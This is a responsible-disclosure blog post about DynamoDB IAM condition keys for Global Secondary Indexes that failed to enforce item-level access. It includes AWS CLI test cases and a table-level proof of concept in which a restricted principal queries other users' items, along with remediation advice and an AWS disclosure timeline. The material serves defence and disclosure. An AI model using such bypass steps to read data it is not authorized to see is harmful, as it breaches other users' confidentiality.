New IAM Condition Keys for DynamoDB GSIs Failed Silently: Authorization Bypass
How four DynamoDB IAM condition keys for Global Secondary Indexes silently failed to enforce item-level access, the test cases that proved it, and the full disclosure timeline with AWS.
If your application uses DynamoDB and relies on item-level access controls, this is worth a close read. TrustOnCloud researchers found that four DynamoDB IAM condition keys intended for fine-grained access of Global Secondary Index (GSI) were not being enforced. This allowed unauthorized access to items in the DynamoDB table's Global Secondary Index. We responsibly disclosed this to AWS VDP in Feb 2026. AWS classified the issue as high severity, and it has now been fully resolved.
This post walks through DynamoDB tables and Global Secondary Index (GSI) architectural primitives, fine-grained access control, key security issues, impact analysis, test cases demonstrating the bypass, and the full disclosure timeline with AWS. If you already know how DynamoDB tables and GSIs work, you can skip ahead to the Key Security Issues Identified
DynamoDB tables and Global Secondary Index (GSI)
Amazon DynamoDB is a fully managed, serverless NoSQL key-value database that delivers single-digit-millisecond performance at any scale. Each item in the table is identified by a primary key consisting of a partition key and an optional sort key, which together determine how data is physically distributed. Due to its robust scalability, high availability, and low-latency performance, DynamoDB is widely adopted across major industries, including finance, healthcare, e-commerce, gaming, and technology (for more details, visit the official documentation).
Global Secondary Index (GSI) is an alternative way to look up data in a DynamoDB table. By default, you can only query items by the table's primary key. Applications often need to search by other attributes (e.g., by email, status, or date). A GSI solves this by creating a separate index with its own partition and sort keys that DynamoDB keeps in sync with the main table. Global Secondary Indexes (GSIs) allow you to create partition keys and sort keys using multiple attributes, where up to four attributes can be used to create each partition and sort key (to explore GSI further, visit the official documentation). The key security issue involved IAM condition keys intended to protect GSI items based on the partition key values.
Fine-Grained Access Control
Before diving deeper into fine-grained access control and how these IAM conditions are implemented to enforce item-level access in tables and Global Secondary Index, it is important to understand attributes and item-level access in DynamoDB.
An item is a single record in a table, equivalent to a row in a database. Each item in a DynamoDB table is uniquely identified by its primary key.
An attribute is a single key-value pair within an item, equivalent to a column value in a database.
Consider the following Global Secondary Index, where the partition key is composed of two attributes (UserID + TopScore).
DynamoDB provides IAM condition keys that restrict access to items in a table, to specific attributes within those items, or to both.
As stated in official documentation:
In DynamoDB, you have the option to specify conditions when granting permissions using an IAM policy:
- Grant permissions to allow users read-only access to certain items and attributes in a table or a secondary index.
- Grant permissions to allow users write-only access to certain attributes in a table, based upon the identity of that user.
Key Security Issues
In November 2025, AWS introduced four IAM condition keys to enable fine-grained access control over items in Global Secondary Indexes with multi-attribute composite partition keys.
| Condition key | Description |
|---|---|
dynamodb:FirstPartitionKeyValues | Represents the first key attribute of a table (the first partition key). |
dynamodb:SecondPartitionKeyValues | Similar to dynamodb:FirstPartitionKeyValues. Represents the resource's second partition key. |
dynamodb:ThirdPartitionKeyValues | Similar to dynamodb:FirstPartitionKeyValues. Represents the resource's third partition key. |
dynamodb:FourthPartitionKeyValues | Similar to dynamodb:FirstPartitionKeyValues. Represents the resource's fourth partition key. |
As part of our threat modeling research and security control development, TrustOnCloud thoroughly tests every existing and newly released cloud-service feature. While testing these new condition keys against Global Secondary Indexes (GSIs), we identified two major security flaws:
- Authorization bypass: These IAM condition keys did not function as intended (for both single- and multi-attribute composite partition keys), enabling an authorization bypass when used and compromising the confidentiality of the Global Secondary Index.
- Incorrect documentation broadened the risk: AWS documentation incorrectly claimed: "FirstPartitionKeyValues and LeadingKeys can used exchangeable". If an organization relied on
FirstPartitionKeyValuesrather thanLeadingKeys, the condition key in certain scenarios would not be evaluated. This could have broadened the impact to DynamoDB tables, allowing unauthorized access to table items and compromising their confidentiality and integrity (see the PoC below).
The AWS DynamoDB team has confirmed that all four condition keys are now working as intended and that the inaccurate documentation has been updated. If you adopt these keys now, no further action is required on your end.
Impact Analysis
To fully understand the scope of this security issue, consider the following use case: a multiplayer game application where player profiles and inventories are stored in a DynamoDB Global Secondary Index (GSI). Each item in the GSI is represented by a User ID, which acts as the partition key for the Global Secondary Index. A third-party identity provider (IdP), such as Facebook, Google, or Amazon login, is used for authentication. As a prerequisite, the app must be registered with the IdP (for example, Amazon). An IAM role is used by the application to access the Global Secondary Index (let's name it GameRole).
Note: The original image is taken from official documentation and has been updated for GSI.
- To authenticate, the game user logs in through an identity provider (Amazon in this case). Once authenticated, the identity provider returns a web identity token to the app.
- The app sends this token to AWS STS to obtain temporary credentials.
- These credentials are used to assume a role whose permissions are defined by the role's security policy (check policy below). The app is allowed to assume the IAM role (GameRole) and access AWS resources as per the policy document.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowQueryToOnlyItemsMatchingUserID",
"Effect": "Allow",
"Action": [
"dynamodb:Query"
],
"Resource": [
"arn:aws:dynamodb:region:ACCOUNT_ID:table/<table-name>/index/<name-of-GSI>"
],
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:FirstPartitionKeyValues": [
"${www.amazon.com:user_id}"
]
}
}
}
]
}
The above policy allows users to access only items in the DynamoDB Global secondary index, whose partition key value (i.e., user ID) matches the user identifier. Because these conditions were not evaluated, access was not actually limited to specific items. As a result, any player could modify the request parameters (as demonstrated in the test cases) to query other players' user IDs and read their records.
How did the authorization bypass work?
Below are the steps we followed to confirm that the condition keys were not being evaluated, enabling unauthorized item-level access. AWS has confirmed the issue is fixed (on 12th May 2026), and we verified it's no longer reproducible.
- Create a DynamoDB table containing an attribute named
UserID(as partition key).Create the table Bashaws dynamodb create-table --table-name UserScores --attribute-definitions AttributeName=UserID,AttributeType=S \ --key-schema AttributeName=UserID,KeyType=HASH --billing-mode PAY_PER_REQUEST - Insert values into the respective attributes (i.e., UserID and TopScore) to populate the table.
Populate the table Bash
aws dynamodb batch-write-item \ --request-items '{"UserScores":[{"PutRequest":{"Item":{"UserID":{"S":"T1"},"TopScore":{"N":"95"}}}},{"PutRequest":{"Item":{"UserID":{"S":"T2"},"TopScore":{"N":"80"}}}},{"PutRequest":{"Item":{"UserID":{"S":"T3"},"TopScore":{"N":"100"}}}}]}'The table now contained the following items:
UserID TopScore T1 95 T2 80 T3 100 - Create a GSI, where the partition key is comprised of two attributes (i.e.,
UserID + TopScore).Create a GSI Bashaws dynamodb update-table --table-name UserScores --attribute-definitions AttributeName=UserID,AttributeType=S AttributeName=TopScore,AttributeType=N --global-secondary-index-updates '[{"Create":{"IndexName":"creategsi","KeySchema":[{"AttributeName":"UserID","KeyType":"HASH"},{"AttributeName":"TopScore","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' - Create an IAM policy allowing a user to access the GSI item where the
FirstPartitionKeyValues = T1.Allow-only-T1 GSI policy JSON{ "Version": "2012-10-17", "Statement": [ { "Sid": "ForGSIpolicy", "Effect": "Allow", "Action": ["dynamodb:Query"], "Resource": ["arn:aws:dynamodb:region:ACCOUNT_ID:table/<table-name>/index/<name-of-GSI>"], "Condition": { "ForAllValues:StringEquals": { "dynamodb:FirstPartitionKeyValues": ["T1"] } } } ] }
Case #1
Using the above policy, query the GSI where UserID = T1, and TopScore = 95 representing the first partition key value in the request.
aws dynamodb query \
--table-name <table-name> \
--index-name <name-of-GSI> \
--key-condition-expression "UserID = :t AND TopScore = :s" \
--expression-attribute-values '{":t":{"S":"T1"},":s":{"N":"95"}}' \
--profile <profile-name> \
--region <table-region>
The output response looked like this:
Case #2
Next, we tried querying another item in the GSI, UserID = T2 and TopScore = 80, which this user was not authorized to access.
aws dynamodb query \
--table-name <table-name> \
--index-name <name-of-GSI> \
--key-condition-expression "UserID = :t AND TopScore = :s" \
--expression-attribute-values '{":t":{"S":"T2"},":s":{"N":"80"}}' \
--profile <profile-name> \
--region <table-region>
Access was still granted, which indicated that the condition keys were not being evaluated as part of the request. We received the following response:
To further verify that these condition keys were not being evaluated at all, we tested the case with an explicit Deny in the policy as well. Consider this IAM policy, which allows access only when T1 is present in the request. For all other values, access should be denied.
(Note: AWS doesn't recommend using deny-based policies with DynamoDB, as they're more difficult to write correctly than allow-based policies, see AWS guidance).
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OnlyPlayerT1",
"Effect": "Deny",
"Action": ["dynamodb:Query"],
"Resource": ["arn:aws:dynamodb:region:ACCOUNT_ID:table/<table-name>/index/<name-of-GSI>"],
"Condition": {
"ForAllValues:StringNotEquals": {
"dynamodb:FirstPartitionKeyValues": ["T1"]
}
}
},
{
"Sid": "AllowT1",
"Effect": "Allow",
"Action": ["dynamodb:Query"],
"Resource": ["arn:aws:dynamodb:region:ACCOUNT_ID:table/<table-name>/index/<name-of-GSI>"]
}
]
}
Case #3
We queried the GSI item where UserID = T1 and TopScore = 95, and the principal associated with the policy was authorized to access it.
aws dynamodb query \
--table-name <table-name> \
--index-name <name-of-GSI> \
--key-condition-expression "UserID = :t AND TopScore = :s" \
--expression-attribute-values '{":t":{"S":"T1"},":s":{"N":"95"}}' \
--profile <profile-name> \
--region <table-region>
Ideally, the request should have been allowed for the item with that partition key value. However, because the condition key was never evaluated, access was denied.
The same was true for the other condition keys as well (i.e., dynamodb:SecondPartitionKeyValues, dynamodb:ThirdPartitionKeyValues, and dynamodb:FourthPartitionKeyValues). None of them actually prevented unauthorized users from accessing other items in GSI.
Let's summarize the test cases discussed above:
| Case no | Policy used | Query | Expected output | Actual output |
|---|---|---|---|---|
| Case #1 | Allow with FirstPartitionKeyValues | UserID = T1 AND TopScore = 95 | Allow | Allow |
| Case #2 | Allow with FirstPartitionKeyValues | UserID = T2 AND TopScore = 80 | Deny | Allow |
| Case #3 | Deny + Allow with FirstPartitionKeyValues | UserID = T1 AND TopScore = 95 | Allow | Deny |
LeadingKeys Enforces Correctly, but the Documentation Claim Was Wrong
Although these condition keys were intended to protect the Global Secondary Index (GSI), one sentence in the official documentation may have broadened the impact to DynamoDB tables.
"FirstPartitionKeyValues and LeadingKeys can used exchangeable"
The condition key dynamodb:LeadingKeys is defined as "Represents the first key attribute of a table, in other words, the partition key". It is intended to provide item-level access control for DynamoDB tables. This raises an important question: what if an organization relied on FirstPartitionKeyValues instead of LeadingKeys? The impact is clear: an unauthorized user could query, read, and write to table items.
Proof of Concept (PoC): Table Access Bypass
Consider the following policy, where the organization relied on FirstPartitionKeyValues instead of LeadingKeys to allow full access to the player, where UserID = T1.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToPlayerT1",
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:BatchGetItem",
"dynamodb:Query",
"dynamodb:PutItem",
"dynamodb:UpdateItem",
"dynamodb:DeleteItem",
"dynamodb:BatchWriteItem"
],
"Resource": [
"arn:aws:dynamodb:region:ACCOUNT_ID:table/<table-name>"
],
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:FirstPartitionKeyValues": [
"T1"
]
}
}
}
]
}
Using the policy above, let's query for UserID = T2, where access should be denied.
aws dynamodb query --table-name <table-name> --key-condition-expression "UserID = :t" --expression-attribute-values '{":t":{"S":"T2"}}'
Access is granted despite the IAM condition key, which is intended to prevent unauthorized access. You will get this response:
Anyone who followed this part of the documentation between November 2025 and 12 May 2026 may have used dynamodb:FirstPartitionKeyValues to enforce item-level access control for their tables, but in reality, it wasn't enforced. AWS has now confirmed that the documentation has been updated and is accurate. If your table uses FirstPartitionKeyValues instead of LeadingKeys, it should now work as expected.
Recommendations
Organizations that used these conditions between November 2025 and May 2026 should audit their CloudTrail logs for dynamodb:Query calls against affected GSIs to identify cases where items were returned outside the expected partition key scope. Organizations that used these conditions for DynamoDB tables between November 2025 and May 2026 should additionally audit their CloudTrail logs for dynamodb:PutItem calls against tables to identify cases where items were accessed outside the expected partition key scope.
If your application relies on AWS DynamoDB, apply the following preventive measure:
- For single- or multi-attribute partition keys in a GSI, use
dynamodb:FirstPartitionKeyValues,dynamodb:SecondPartitionKeyValues,dynamodb:ThirdPartitionKeyValues, anddynamodb:FourthPartitionKeyValuesto ensure access is granted only when all attribute values in the request match the item's attribute values. Organizations that use policies to enforce item-level access control should include tests to confirm the policies work as intended, and those tests should explicitly cover both allow and deny scenarios.
For another example of documented AWS access controls that did not enforce as expected, see our earlier disclosure, Confused Deputy vulnerability in Amazon DataZone.
If you're looking for a DynamoDB threat model to identify security threats and mitigation controls, feel free to reach out to us.
Timeline Disclosure
TrustOnCloud reported both issues: the non-functional condition keys and the incorrect documentation, to AWS through HackerOne VDP, and AWS took around three months to deploy the fix.
| Date | Event |
|---|---|
| 20 February 2026 | TrustOnCloud reported issue to AWS VDP via HackerOne |
| 23 February 2026 | AWS accepted that both issues are valid |
| 12 May 2026 | AWS notified that fix has been deployed |
| 15 May 2026 | TrustOnCloud verified and confirmed issue is fully resolved |
| 08 June 2026 | Shared the blog draft with AWS to review |
| 17 June 2026 | AWS suggested few modifications in blog |
References
- Amazon DynamoDB Developer Guide: Introduction. Amazon Web Services. https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Introduction.html
- Amazon DynamoDB Developer Guide: Using Global Secondary Indexes. Amazon Web Services. https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/GSI.html
- Amazon DynamoDB Developer Guide: Using IAM policy conditions for fine-grained access control. Amazon Web Services. https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/specifying-conditions.html#FGAC_DDB.ConditionKeys
- Amazon DynamoDB now supports multi-attribute composite keys for Global Secondary Indexes. Amazon Web Services, 2025. https://aws.amazon.com/about-aws/whats-new/2025/11/amazon-dynamodb-multi-attribute-composite-keys-global-secondary-indexes/
- Amazon DynamoDB Developer Guide: Using web identity federation to access AWS resources. Amazon Web Services. https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/WIF.html#WIF.Example
- Confused Deputy vulnerability in Amazon DataZone. TrustOnCloud. https://trustoncloud.com/blog/confused-deputy-vulnerability-in-amazon-datazone/
